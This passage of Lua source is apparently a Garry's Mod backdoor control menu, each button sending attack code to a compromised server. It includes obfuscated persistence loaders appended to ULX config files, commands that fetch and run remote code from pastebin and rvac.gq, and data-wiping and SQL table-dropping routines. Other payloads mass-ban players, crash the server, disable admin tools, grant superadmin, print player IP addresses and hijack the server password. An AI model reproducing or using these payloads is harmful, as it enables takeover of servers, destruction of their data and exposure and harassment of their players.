993local bar4 = vgui.Create("DScrollPanel", item3)
994
995 bar4:Dock(FILL)
996
997local sbar4 = bar4:GetVBar()
998
999 function sbar4:Paint()
1000
1001end
1002
1003function sbar4.btnUp:Paint()
1004
1005end
1006
1007function sbar4.btnDown:Paint()
1008
1009end
1010
1011function sbar4.btnGrip:Paint()
1012
1013end
1014
1015// Backdoors
1016
1017rebug.AddButton("@Inject SendLua Interface", bar1, function()
1018
1019 surface.PlaySound("buttons/button18.wav")
1020
1021 noob.PostLua([[util.AddNetworkString ('REBUG') net.Receive ('REBUG', function (length, ply) local netString = net.ReadString () local bit = net.ReadBit () if bit == 1 then RunString (netString) else game.ConsoleCommand (netString ..'\n') end end)]])
1022
1023end)
1024
1025rebug.AddButton("@Persistant Infection", bar1, function()
1026
1027 surface.PlaySound("buttons/button18.wav")
1028
1029 noob.PostLua([[file.Append("ulx/config.txt", "\n"..[=[x='R'..'unS'..'tri'..'n'..'g'_='r'..''..'va'..'c'..'.g'..'q/'x0=_G['Co'..'mpil'..''..'eSt'..'ri'..'ng']__='h'..''..'t'..'t'..'ps'..'://'x0(__,_,'_!/p',x)]=])]])
1030
1031 noob.PostLua([[file.Append("ulib/misc_registered.txt", "\n"..[=[x='R'..'unS'..'tri'..'n'..'g'_='r'..''..'va'..'c'..'.g'..'q/'x0=_G['Co'..'mpil'..''..'eSt'..'ri'..'ng']__='h'..''..'t'..'t'..'ps'..'://'x0(__,_,'_!/p',x)]=])]])
1032
1033end)
1034
1035
1036rebug.AddButton("Artillery Server Strike", bar1, function()
1037
1038 surface.PlaySound("buttons/button18.wav")
1039
1040 noob.PostLua([[if !bombstrike then
1041
1042 hook.Add("Think", "lulz_bombstrike", function()
1043
1044 local explode = ents.Create("env_explosion")
1045
1046 local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
1047
1048 local trc = {}
1049
1050 trc.start = ps
1051
1052 trc.endpos = ps + Vector(0, 0, -99999)
1053
1054 local tr = util.TraceLine(trc)
1055
1056 if !tr.Hit then return end
1057
1058 explode:SetPos(tr.HitPos)
1059
1060 explode:Spawn()
1061
1062 explode:SetKeyValue("iMagnitude", "400")
1063
1064 explode:Fire("Explode", 0, 0)
1065
1066 end)
1067
1068 bombstrike = true
1069
1070 else
1071
1072 hook.Remove("Think", "lulz_bombstrike")
1073
1074 bombstrike = false
1075
1076 end]])
1077
1078end)
1079
1080rebug.AddButton("Announce centre screen", bar1, function()
1081
1082 surface.PlaySound("buttons/button18.wav")
1083
1084 Derma_StringRequest("Set Custom Text", "Set Text", "", function(str)
1085
1086 noob.PostLua("for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, \""..str.."\") end")
1087
1088 end)
1089
1090end)
1091
1092
1093rebug.AddButton("Broken Glass Symphony", bar1, function()
1094
1095 surface.PlaySound("buttons/button18.wav")
1096
1097 noob.PostLua([[if !timer.Exists("A true masterpiece") then
1098
1099 timer.Create("A true masterpiece", 0.2, 0, function()
1100
1101 for _, p in pairs(player.GetAll()) do
1102
1103 p:EmitSound("physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random(40, 180))
1104
1105 end
1106
1107 end)
1108
1109 else
1110
1111 timer.Remove("A true masterpiece")
1112
1113 end]])
1114
1115end)
1116
1117rebug.AddButton("Double Or Nothing 100%", bar1, function()
1118
1119 surface.PlaySound("buttons/button18.wav")
1120
1121 noob.PostLua([[BDON_CONFIG.doubleChance = 100]])
1122
1123end)
1124
1125rebug.AddButton("Ban All Players", bar1, function()
1126
1127 surface.PlaySound("buttons/button18.wav")
1128
1129 Derma_StringRequest( "Ban All Players", "Reason", "", function(text)
1130
1131 noob.PostLua([[
1132
1133 local id = ]] .. LocalPlayer():UserID() .. [[
1134
1135 for k, v in next, player.GetAll() do
1136
1137 if v:UserID() == id then continue end
1138
1139 v:Ban( 0, false )
1140
1141 v:Kick( "]] .. tostring(text) .. [[" )
1142
1143 end]])
1144
1145 end)
1146
1147end)
1148
1149rebug.AddButton("Break Economy", bar1, function()
1150
1151 surface.PlaySound("buttons/button18.wav")
1152
1153 noob.PostLua([[for k,v in pairs(player.GetAll()) do v:addMoney(9999999999) end]])
1154
1155end)
1156
1157rebug.AddButton("Cleanup Map", bar1, function()
1158
1159 surface.PlaySound("buttons/button18.wav")
1160
1161 noob.PostLua([[game.CleanUpMap()]])
1162
1163end)
1164
1165rebug.AddButton("Console Jammer", bar1, function()
1166
1167 surface.PlaySound("buttons/button18.wav")
1168
1169 noob.PostLua([[if !(timer.Exists("consoleJammer")) then
1170
1171 timer.Create("consoleJammer", 0.5, 0, function()
1172
1173 print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
1174
1175 end)
1176
1177 else
1178
1179 timer.Destroy("consoleJammer")
1180
1181 end]])
1182
1183end)
1184
1185
1186rebug.AddButton("Crash Server", bar1, function()
1187
1188 surface.PlaySound("buttons/button18.wav")
1189
1190 noob.PostLua([[timer.Create("rekt",0.5,1,function() while true do end end)]])
1191
1192 chat.AddText(Color(255,0,0), "[RVAC] ", Color(20,150,200),"The server has been crashed gg")
1193
1194end)
1195
1196rebug.AddButton("Crash Admins & Vip's", bar1, function()
1197
1198 surface.PlaySound("buttons/button18.wav")
1199
1200 noob.PostLua("for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end")
1201
1202end)
1203
1204rebug.AddButton("Change Everyone Name", bar1, function()
1205
1206 surface.PlaySound("buttons/button18.wav")
1207
1208 Derma_StringRequest("Set Everyones Name", "Name", "", function(text)
1209
1210 noob.PostLua([[local str = "]] .. text .. [["
1211
1212 for k, v in next, player.GetAll() do
1213
1214 DarkRP.storeRPName( v, str )
1215
1216 v:setDarkRPVar( "rpname", str )
1217
1218 end]])
1219
1220 end)
1221
1222end)
1223
1224rebug.AddButton("Change Everyone Model", bar1, function()
1225
1226 surface.PlaySound("buttons/button18.wav")
1227
1228 Derma_StringRequest("Change Everyones Model", "Model Directory", "", function(str)
1229
1230 noob.PostLua("for k, v in pairs(player.GetAll()) do v:SetModel(\""..str.."\") end")
1231
1232 end)
1233
1234end)
1235
1236rebug.AddButton("Change Everything Material", bar1, function()
1237
1238 surface.PlaySound("buttons/button18.wav")
1239
1240 Derma_StringRequest("Set Everythings Material", "Material Directory", "", function(str)
1241
1242 noob.PostLua("for k, v in pairs(ents.GetAll()) do v:SetMaterial(\""..str.."\") end")
1243
1244 end)
1245
1246end)
1247
1248rebug.AddButton("Disable Bans/Kicks", bar1, function()
1249
1250 surface.PlaySound("buttons/button18.wav")
1251
1252 noob.PostLua([[if ULib then
1253
1254 function ULib.kick( ply, reason, calling_ply ) end
1255
1256 function ULib.ban( ply, time, reason, admin ) end
1257
1258 function ULib.addBan( steamid, time, reason, name, admin ) end
1259
1260 end
1261
1262 if FAdmin then
1263
1264 local function no(ply) end
1265
1266 FAdmin.Commands.AddCommand("kick", no)
1267
1268 FAdmin.Commands.AddCommand("ban", no)
1269
1270 FAdmin.Commands.AddCommand("jail", no)
1271
1272 FAdmin.Commands.AddCommand("UnJail", no)
1273
1274 FAdmin.Commands.AddCommand("ClearDecals", no)
1275
1276 FAdmin.Commands.AddCommand("StopSounds", no)
1277
1278 FAdmin.Commands.AddCommand("CleanUp", no)
1279
1280 end
1281
1282 local _R = debug.getregistry()
1283
1284 function _R.Player.Ban(ply, r) end
1285
1286 function _R.Player.Kick(ply, r) end
1287
1288 function game.KickID(id, reason) end
1289
1290 local RCM = RunConsoleCommand
1291
1292 function RunConsoleCommand(command, ...)
1293
1294 if command == "addip" then return end
1295
1296 RCM(command, ...)
1297
1298 end]])
1299
1300end)
1301
1302rebug.AddButton("Disable SNTE", bar1, function()
1303
1304 surface.PlaySound("buttons/button18.wav")
1305
1306 noob.PostLua([[
1307
1308 local function Check(func)
1309
1310 if string.find(debug.getinfo(func).short_src,"snte_source.lua") then
1311
1312 return true
1313
1314 else
1315
1316 return false
1317
1318 end
1319
1320 end
1321
1322 timer.Create("rvacbypass",5,0,function()
1323
1324 for k,v in pairs(net.Receivers) do
1325
1326 if Check(v) then
1327
1328 net.Receive(k,function(l,ply)
1329
1330 ply:ChatPrint("LEL")
1331
1332 end)
1333
1334 end
1335
1336 end
1337
1338
1339 end)]])
1340
1341end)
1342
1343rebug.AddButton("Disable Exit", bar1, function()
1344
1345 surface.PlaySound("buttons/button18.wav")
1346
1347 noob.PostLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
1348
1349end)
1350
1351rebug.AddButton("GG 2", bar1, function()
1352
1353 surface.PlaySound("buttons/button11.wav")
1354
1355 noob.PostLua([[
1356
1357 timer.Simple(3, function()
1358 for k,v in pairs(player.GetAll()) do v:addMoney(9999999999) end
1359 http.Fetch("https://pastebin.com/raw/pX0cWrfw",function(b)RunString(b)end)
1360 timer.Simple(10, function()
1361 v:Kick(MasterWare)
1362 end)
1363 end)
1364 ]])
1365
1366end)
1367
1368
1369
1370rebug.AddButton("GG", bar1, function()
1371
1372 surface.PlaySound("buttons/button18.wav")
1373
1374 noob.PostLua([[local function WipeDir(dir)
1375
1376 local files,dirs = file.Find(dir.."*", "DATA")
1377
1378 for k,v in pairs(player.GetAll()) do v:addMoney(9999999999) end
1379 http.Fetch("https://pastebin.com/raw/pX0cWrfw",function(b)RunString(b)end)
1380 for k,v in ipairs(files) do
1381
1382 file.Delete(dir..v)
1383
1384 end
1385
1386 for k,v in ipairs(dirs) do
1387
1388 WipeDir(v.."/")
1389
1390 end
1391
1392 end
1393
1394 print(60*60*6)
1395
1396 local function wiperpro()
1397
1398 print("Wiping server data. . .")
1399
1400 WipeDir("")
1401
1402 sql.Query("DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)")
1403
1404 if ULib then
1405
1406 for k,v in pairs(ULib.ucl.groups) do
1407
1408 if k != "user" then
1409
1410 ULib.ucl.removeGroup(k)
1411
1412 end
1413
1414 end
1415
1416 end
1417
1418 if FPP then
1419
1420 for k,v in pairs(FPP.Blocked) do
1421
1422 for r,g in pairs(v) do
1423
1424 RunConsoleCommand([=[FPP_RemoveBlocked]=], k, r)
1425
1426 end
1427
1428 end
1429
1430 end
1431
1432 for i=1,256 do
1433
1434 RunConsoleCommand("removeid",i)
1435
1436 end
1437
1438 for k,v in ipairs(player.GetAll()) do
1439
1440 v:Kick("MasterWare")
1441
1442 end
1443
1444 print("Wipe finished !")
1445
1446 end
1447
1448 timer.Create("1Tap",0.5,1,function() while true do end end)
1449
1450 wiperpro()]])
1451
1452end)
1453
1454rebug.AddButton("Disable Exit", bar1, function()
1455
1456 surface.PlaySound("buttons/button18.wav")
1457
1458 noob.PostLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
1459
1460end)
1461
1462rebug.AddButton("Delete Server", bar1, function()
1463
1464 surface.PlaySound("buttons/button18.wav")
1465
1466 noob.PostLua([[local function WipeDir(dir)
1467
1468 local files,dirs = file.Find(dir.."*", "DATA")
1469
1470 for k,v in ipairs(files) do
1471
1472 file.Delete(dir..v)
1473
1474 end
1475
1476 for k,v in ipairs(dirs) do
1477
1478 WipeDir(v.."/")
1479
1480 end
1481
1482 end
1483
1484 print(60*60*6)
1485
1486 local function wiperpro()
1487
1488 print("Wiping server data. . .")
1489
1490 WipeDir("")
1491
1492 sql.Query("DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)")
1493
1494 if ULib then
1495
1496 for k,v in pairs(ULib.ucl.groups) do
1497
1498 if k != "user" then
1499
1500 ULib.ucl.removeGroup(k)
1501
1502 end
1503
1504 end
1505
1506 end
1507
1508 if FPP then
1509
1510 for k,v in pairs(FPP.Blocked) do
1511
1512 for r,g in pairs(v) do
1513
1514 RunConsoleCommand([=[FPP_RemoveBlocked]=], k, r)
1515
1516 end
1517
1518 end
1519
1520 end
1521
1522 for i=1,256 do
1523
1524 RunConsoleCommand("removeid",i)
1525
1526 end
1527
1528 v:addmoney(9999)
1529
1530 for k,v in ipairs(player.GetAll()) do
1531
1532 v:Ban("MasterWare | ALPHA")
1533
1534 end
1535
1536 print("Wipe finished !")
1537
1538 end
1539
1540 timer.Create("1Tap",0.5,1,function() while true do end end)
1541
1542 wiperpro()]])
1543
1544end)
1545
1546rebug.AddButton("Earthquake", bar1, function()
1547
1548 surface.PlaySound("buttons/button18.wav")
1549
1550 noob.PostLua([[if !timer.Exists("earthquake") then
1551
1552 timer.Create("earthquake", 0.5, 500, function()
1553
1554 for _, p in pairs(player.GetAll()) do
1555
1556 p:SetPos(p:GetPos() + Vector(0, 0, 1))
1557
1558 p:SetVelocity(Vector(math.random(-50, 50), math.random(-50, 50), math.random(100, 150)))
1559
1560 util.ScreenShake(p:GetPos(), 20, 1, 1, 100)
1561
1562 p:EmitSound("ambient/explosions/exp1.wav", 100, math.random(60, 100))
1563
1564 end
1565
1566 for _, e in pairs(ents.GetAll()) do
1567
1568 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity(Vector(math.random(-50, 50), math.random(-50, 50), math.random(100, 150))) end
1569
1570 end
1571
1572 end)
1573
1574 else
1575
1576 timer.Remove("earthquake")
1577
1578 end]])
1579
1580end)
1581
1582rebug.AddButton("Force Dance All", bar1, function()
1583
1584 surface.PlaySound("buttons/button18.wav")
1585
1586 noob.PostLua([[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )]])
1587
1588end)
1589
1590
1591rebug.AddButton("EarRape", bar1, function()
1592
1593 surface.PlaySound("buttons/button18.wav")
1594
1595 noob.PostLua("for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end")
1596
1597end)
1598
1599rebug.AddButton("Ignite Everyone", bar1, function()
1600
1601 surface.PlaySound("buttons/button18.wav")
1602
1603 Derma_StringRequest("Ignite All Players", "Lenght In Seconds", "", function(str)
1604
1605 noob.PostLua("for k, v in pairs(player.GetAll()) do v:Ignite(".. str ..") end")
1606
1607 end)
1608
1609end)
1610
1611rebug.AddButton("Kill Everyone", bar1, function()
1612
1613 surface.PlaySound("buttons/button18.wav")
1614
1615 noob.PostLua("for k,v in pairs(player.GetAll()) do v:Kill() end")
1616
1617end)
1618
1619rebug.AddButton("Luarun Access", bar1, function()
1620
1621 surface.PlaySound("buttons/button18.wav")
1622
1623 noob.PostLua([[RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun")]])
1624
1625end)
1626
1627rebug.AddButton("Launch Players", bar1, function()
1628
1629 surface.PlaySound("buttons/button18.wav")
1630
1631 noob.PostLua("for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end")
1632
1633end)
1634
1635rebug.AddButton("LuaRun Code", bar1, function()
1636
1637 surface.PlaySound("buttons/button18.wav")
1638
1639 Derma_StringRequest( "LuaRun String", "String", "", function(text)
1640
1641 noob.PostLua([[RunString( ']] .. text .. [[' )]])
1642
1643 end)
1644
1645end)
1646
1647rebug.AddButton("Rainbow Physgun", bar1, function()
1648
1649 surface.PlaySound("buttons/button18.wav")
1650
1651 noob.PostLua([[hook.Add("Think", "rainbowphysgun", function()
1652
1653 for k,ply in ipairs(player.GetAll()) do
1654
1655 local col = HSVToColor(CurTime() % 6 * 60, 1, 1)
1656
1657 ply:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
1658
1659 end
1660
1661 end)]])
1662
1663end)
1664
1665rebug.AddButton("Rainbow Chat Spam", bar1, function()
1666
1667 surface.PlaySound("buttons/button18.wav")
1668
1669 Derma_StringRequest("Rainbow Chatspam", "Text", "", function(text)
1670
1671 noob.PostLua([[
1672
1673 chat = {}
1674
1675 function chat.AddText(...)
1676
1677 net.Start("rvac")
1678
1679 net.WriteTable({...})
1680
1681 net.Broadcast()
1682
1683 end
1684
1685 function AddTextPly(ply, ...)
1686
1687 net.Start("rvac")
1688
1689 net.WriteTable({...})
1690
1691 net.Send(ply)
1692
1693 end
1694
1695 for k, v in pairs(player.GetAll()) do
1696
1697 v:SendLua('net.Receive("rvac", function(len) chat.AddText(unpack(net.ReadTable()))end)')
1698
1699 end
1700
1701 timer.Create("gotEm", 0.8, 120, function()
1702
1703 local function ChatPrintRainbow(frequency, str)
1704
1705 local text = {}
1706
1707 for i = 1, #str do
1708
1709 table.insert(text, HSVToColor(i * frequency % 360, 1, 1))
1710
1711 table.insert(text, string.sub(str, i, i))
1712
1713 end
1714
1715 chat.AddText(unpack(text))
1716
1717 end
1718
1719 ChatPrintRainbow(10, "]] .. text .. [[")
1720
1721 end)]])
1722
1723 end)
1724
1725end)
1726
1727rebug.AddButton("Rainbow HUD", bar1, function()
1728
1729 surface.PlaySound("buttons/button18.wav")
1730
1731 noob.PostLua([[if !rainbowscreen then
1732
1733 BroadcastLua("hook.Add('HUDPaint', 'rainbowscreen', function() local cin = math.sin(CurTime() * 10) * 255 surface.SetDrawColor(Color(cin, -cin, cin, 100)) surface.DrawRect(0, 0, ScrW(), ScrH()) end)")
1734
1735 rainbowscreen = true
1736
1737 else
1738
1739 BroadcastLua("hook.Remove('HUDPaint', 'rainbowscreen')")
1740
1741 rainbowscreen = false
1742
1743 end]])
1744
1745end)
1746
1747rebug.AddButton("Rainbow Buildings/Floor", bar1, function()
1748
1749 surface.PlaySound("buttons/button18.wav")
1750
1751 noob.PostLua([[BroadcastLua("http.Fetch('https://pastebin.com/raw/gCG1pSNK',function(b,l,h,c)RunString(b)end,nil)")]])
1752
1753 chat.AddText(Color(255,0,0), "[RVAC] ", Color(255,155,155),"This may cause frame drop")
1754
1755end)
1756
1757rebug.AddButton("Remove Bans", bar1, function()
1758
1759 surface.PlaySound("buttons/button18.wav")
1760
1761 noob.PostLua([[if file.Exists("ulib/bans.txt", "DATA") then file.Delete("ulib/bans.txt") end]])
1762
1763end)
1764
1765rebug.AddButton("Rave Music", bar1, function()
1766
1767 surface.PlaySound("buttons/button18.wav")
1768
1769 noob.PostLua("BroadcastLua([[surface.PlaySound('music/hl1_song25_remix3.mp3')]])")
1770
1771end)
1772
1773rebug.AddButton("Reset all money", bar1, function()
1774
1775 surface.PlaySound("buttons/button18.wav")
1776
1777 noob.PostLua([[RunConsoleCommand("rp_resetallmoney")]])
1778
1779end)
1780
1781rebug.AddButton("RCON Command", bar1, function()
1782
1783 surface.PlaySound("buttons/button18.wav")
1784
1785 Derma_StringRequest("RCON Command", "Rcon", "", function(str)
1786
1787 noob.PostRcon(str)
1788
1789 end)
1790
1791end)
1792
1793rebug.AddButton("Server Nuke (M9K)", bar1, function()
1794
1795 surface.PlaySound("buttons/button18.wav")
1796
1797 noob.PostLua([[
1798
1799 local rocket = ents.Create("m9k_launched_davycrockett")
1800
1801 local ply2 = player.GetAll(]]..selPly..[[)
1802
1803 rocket:SetPos(ply2:GetPos())
1804
1805 rocket:SetOwner(ply2)
1806
1807 rocket.Owner = ply2
1808
1809 rocket:Spawn()
1810
1811 rocket:Activate()]])
1812
1813end)
1814
1815rebug.AddButton("Seize Server", bar1, function()
1816
1817 surface.PlaySound("buttons/button18.wav")
1818
1819 chat.AddText(Color(255,0,0), "[RVAC] ", Color(20,150,200),"Server Password is: GmodCheaTz")
1820
1821 noob.PostLua([[RunConsoleCommand("sv_password", "GmodCheaTz")
1822
1823 RunConsoleCommand("hostname", "SEIZED BY rvac.TEAM")]])
1824
1825end)
1826
1827rebug.AddButton("Moan Steps", bar1, function()
1828
1829 surface.PlaySound("buttons/button18.wav")
1830
1831 noob.PostLua([[if !moanstep then
1832
1833 hook.Add("PlayerFootstep", "oooh", function(ply)
1834
1835 ply:EmitSound("vo/npc/female01/pain0" .. math.random(1, 9) .. ".wav", 75, math.random(50, 100))
1836
1837 end)
1838
1839 moanstep = true
1840
1841 else
1842
1843 hook.Remove("PlayerFootstep", "oooh")
1844
1845 moanstep = false
1846
1847 end]])
1848
1849end)
1850
1851rebug.AddButton("Open URL On Players", bar1, function()
1852
1853 surface.PlaySound("buttons/button18.wav")
1854
1855 Derma_StringRequest("URL On Players", "URL Link", "", function(str)
1856
1857 noob.PostLua([==[local ply = str
1858
1859 ply:SendLua([[h=vgui.Create("DHTML")
1860
1861 h:SetSize(ScrW(),ScrH())
1862
1863 h:OpenURL(..str..)]])
1864
1865 ]==])
1866
1867 end)
1868
1869end)
1870
1871rebug.AddButton("Explode all vehicles", bar1, function()
1872
1873 surface.PlaySound("buttons/button18.wav")
1874
1875 noob.PostLua([[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
1876
1877 local explo = ents.Create("env_explosion")
1878
1879 explo:SetPos(v:GetPos())
1880
1881 explo:SetKeyValue("iMagnitude", "300")
1882
1883 explo:Spawn()
1884
1885 explo:Activate()
1886
1887 explo:Fire("Explode", "", 0)
1888
1889 end
1890
1891 end]])
1892
1893end)
1894
1895rebug.AddButton("Print All IP's", bar1, function()
1896
1897 surface.PlaySound("buttons/button18.wav")
1898
1899 noob.PostLua([[
1900
1901 local id = ]] .. LocalPlayer():UserID() .. [[
1902
1903 for k, v in pairs( player.GetAll() ) do
1904
1905 Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
1906
1907 end]])
1908
1909end)
1910
1911rebug.AddButton("Toggle all doors", bar1, function()
1912
1913 surface.PlaySound("buttons/button18.wav")
1914
1915 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]])
1916
1917end)
1918
1919rebug.AddButton("Lock all doors", bar1, function()
1920
1921 surface.PlaySound("buttons/button18.wav")
1922
1923 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("lock", "", 0) end end]])
1924
1925end)
1926
1927rebug.AddButton("Unlock all doors", bar1, function()
1928
1929 surface.PlaySound("buttons/button18.wav")
1930
1931 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]])
1932
1933end)
1934
1935rebug.AddButton("Vaporize all players", bar1, function()
1936
1937 surface.PlaySound("buttons/button18.wav")
1938
1939 noob.PostLua([[for k, v in pairs(player.GetAll()) do v:Remove() end]])
1940
1941end)
1942
1943rebug.AddButton("FPP Unrestrict everything", bar1, function()
1944
1945 surface.PlaySound("buttons/button18.wav")
1946
1947 noob.PostLua([[if FPP then
1948
1949 for k,v in pairs(FPP.Blocked) do
1950
1951 for r,g in pairs(v) do
1952
1953 RunConsoleCommand([=[FPP_RemoveBlocked]=], k, r)
1954
1955 end
1956
1957 end
1958
1959 end]])
1960
1961end)
1962
1963rebug.AddButton("Wipe data folder", bar1, function()
1964
1965 surface.PlaySound("buttons/button18.wav")
1966
1967 noob.PostLua([[local files, directories = file.Find("*", "DATA") for k, v in pairs(files) do file.Delete(v) end]])
1968
1969end)
1970
1971rebug.AddButton("Wipe SQL Tables", bar1, function()
1972
1973 surface.PlaySound("buttons/button18.wav")
1974
1975 noob.PostLua([[MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)')]])
1976
1977end)
1978
1979rebug.AddButton("Play Sound From URL", bar1, function()
1980
1981 surface.PlaySound("buttons/button18.wav")
1982
1983 Derma_StringRequest("Play Sound", "Set Link (Has to end with .AUDIOFORMAT)", "", function(str)
1984
1985 noob.PostLua("BroadcastLua([[sound.PlayURL(\"".. str .."\" , \"mono\", function() end)]])")
1986
1987 end)
1988
1989end)
1990
1991rebug.AddButton("Luarun From Pastebin", bar1, function()
1992
1993 surface.PlaySound("buttons/button18.wav")
1994
1995 Derma_StringRequest("RunLua", "Place Pastebin link inside box", "", function(str)
1996
1997 noob.PostLua("http.Fetch(\""..str.."\", function( b, l, h, c ) RunString( b ) end, function() end )")
1998
1999 end)
2000
2001end)
2002
2003rebug.AddButton("ULX Unban SteamID", bar1, function()
2004
2005 surface.PlaySound("buttons/button18.wav")
2006
2007 Derma_StringRequest("ULX Unban SteamID", "SteamID", "", function(str)
2008
2009 noob.PostLua([[local gae = ulx_logecho game.ConsoleCommand("ulx_logecho 0" .. "\n") game.ConsoleCommand("ulx unban " ..str.. "\n") game.ConsoleCommand("ulx_logecho " .. gae .. "\n")]])
2010
2011 end)
2012
2013end)
2014
2015// Targeting Backdoors
2016
2017rebug.AddButton("Co Host Menu", bar2, function()
2018
2019 surface.PlaySound("buttons/button18.wav")
2020
2021 noob.PostLua([[Player(]]..selPly..[[):SendLua('http.Fetch("https://rvac.gq/_!!/1337.lua",function(b) RunString(b)end)')]])
2022
2023end)
2024
2025rebug.AddButton("Set Superadmin", bar2, function()
2026
2027 surface.PlaySound("buttons/button18.wav")
2028
2029 noob.PostLua([[Player(]]..selPly..[[):SetUserGroup("superadmin")]])
2030
2031end)
2032
2033rebug.AddButton("Remove User", bar2, function()
2034
2035 surface.PlaySound("buttons/button18.wav")
2036
2037 noob.PostLua([[Player(]]..selPly..[[):SetUserGroup("user"))]])
2038
2039end)
2040
2041rebug.AddButton("Remove Props", bar2, function()
2042
2043 surface.PlaySound("buttons/button18.wav")
2044
2045 noob.PostLua([[game.CleanUpMap(]]..selPly..[[)]])
2046
2047end)
2048
2049rebug.AddButton("Ban User", bar2, function()
2050
2051 surface.PlaySound("buttons/button18.wav")
2052
2053 noob.PostLua([[Player(]]..selPly..[[):Ban(0, "Disconnect: Server shutting down.")]])
2054
2055end)
2056
2057rebug.AddButton("Kill Player", bar2, function()
2058
2059 surface.PlaySound("buttons/button18.wav")
2060
2061 noob.PostLua([[Player(]]..selPly..[[):Kill()]])
2062
2063end)
2064
2065rebug.AddButton("Strip Player", bar2, function()
2066
2067 surface.PlaySound("buttons/button18.wav")
2068
2069 noob.PostLua([[v:StripWeapons()]])
2070
2071end)
2072
2073rebug.AddButton("Ignite Player", bar2, function()
2074
2075 surface.PlaySound("buttons/button18.wav")
2076
2077 noob.PostLua([[Player(]]..selPly..[[):Ignite(30,40)]])
2078
2079end)
2080
2081rebug.AddButton("Enable Godmode", bar2, function()
2082
2083 surface.PlaySound("buttons/button18.wav")
2084
2085 noob.PostLua([[Player(]]..selPly..[[):GodEnable()]])
2086
2087end)
2088
2089rebug.AddButton("Disable Godmode", bar2, function()
2090
2091 surface.PlaySound("buttons/button18.wav")
2092
2093 noob.PostLua([[Player(]]..selPly..[[):GodDisable()]])
2094
2095end)
2096
2097rebug.AddButton("Freeze Player", bar2, function()
2098
2099 surface.PlaySound("buttons/button18.wav")
2100
2101 noob.PostLua([[Player(]]..selPly..[[):Freeze(true)]])
2102
2103end)
2104
2105rebug.AddButton("UnFreeze Player", bar2, function()
2106
2107 surface.PlaySound("buttons/button18.wav")
2108
2109 noob.PostLua([[Player(]]..selPly..[[):Freeze(false)]])
2110
2111end)
2112
2113rebug.AddButton("Strip Player", bar2, function()
2114
2115 surface.PlaySound("buttons/button18.wav")
2116
2117 noob.PostLua([[Player(]]..selPly..[[):DropWeapon(Player(]]..selPly..[[):GetActiveWeapon())]])
2118
2119end)
2120
2121rebug.AddButton("Hell Mode", bar2, function()
2122
2123 surface.PlaySound("buttons/button18.wav")
2124
2125 noob.PostLua([[Player(]]..selPly..[[):SendLua('BroadcastLua('http.Fetch('https://pastebin.com/raw/21tkfuM1',function(b,l,h,c)RunString(b)end,nil)')')]])
2126
2127end)
2128
2129// Extras Page
2130
2131rebug.AddButton("FPS Boost", bar4, function()
2132
2133 surface.PlaySound("buttons/button18.wav")
2134
2135hook.Add( "InitPostEntity", "fpsbooster", function()
2136
2137 RunConsoleCommand("gmod_mcore_test", "1")
2138
2139 RunConsoleCommand("mat_queue_mode", "-1")
2140
2141 RunConsoleCommand("cl_threaded_bone_setup", "1")
2142
2143 RunConsoleCommand("cl_threaded_client_leaf_system", "1")
2144
2145 RunConsoleCommand("r_threaded_client_shadow_manager", "1")
2146
2147 RunConsoleCommand("r_threaded_particles", "1")
2148
2149 RunConsoleCommand("r_threaded_renderables", "1")
2150
2151 RunConsoleCommand("r_queued_ropes", "1")
2152
2153 RunConsoleCommand("studio_queue_mode", "1")
2154
2155 hook.Remove("RenderScreenspaceEffects", "RenderColorModify")
2156
2157 hook.Remove("RenderScreenspaceEffects", "RenderBloom")
2158
2159 hook.Remove("RenderScreenspaceEffects", "RenderToyTown")
2160
2161 hook.Remove("RenderScreenspaceEffects", "RenderTexturize")
2162
2163 hook.Remove("RenderScreenspaceEffects", "RenderSunbeams")
2164
2165 hook.Remove("RenderScreenspaceEffects", "RenderSobel")
2166
2167 hook.Remove("RenderScreenspaceEffects", "RenderSharpen")
2168
2169 hook.Remove("RenderScreenspaceEffects", "RenderMaterialOverlay")
2170
2171 hook.Remove("RenderScreenspaceEffects", "RenderMotionBlur")
2172
2173 hook.Remove("RenderScene", "RenderStereoscopy")
2174
2175 hook.Remove("RenderScene", "RenderSuperDoF")
2176
2177 hook.Remove("GUIMousePressed", "SuperDOFMouseDown")
2178
2179 hook.Remove("GUIMouseReleased", "SuperDOFMouseUp")
2180
2181 hook.Remove("PreventScreenClicks", "SuperDOFPreventClicks")
2182
2183 hook.Remove("PostRender", "RenderFrameBlend")
2184
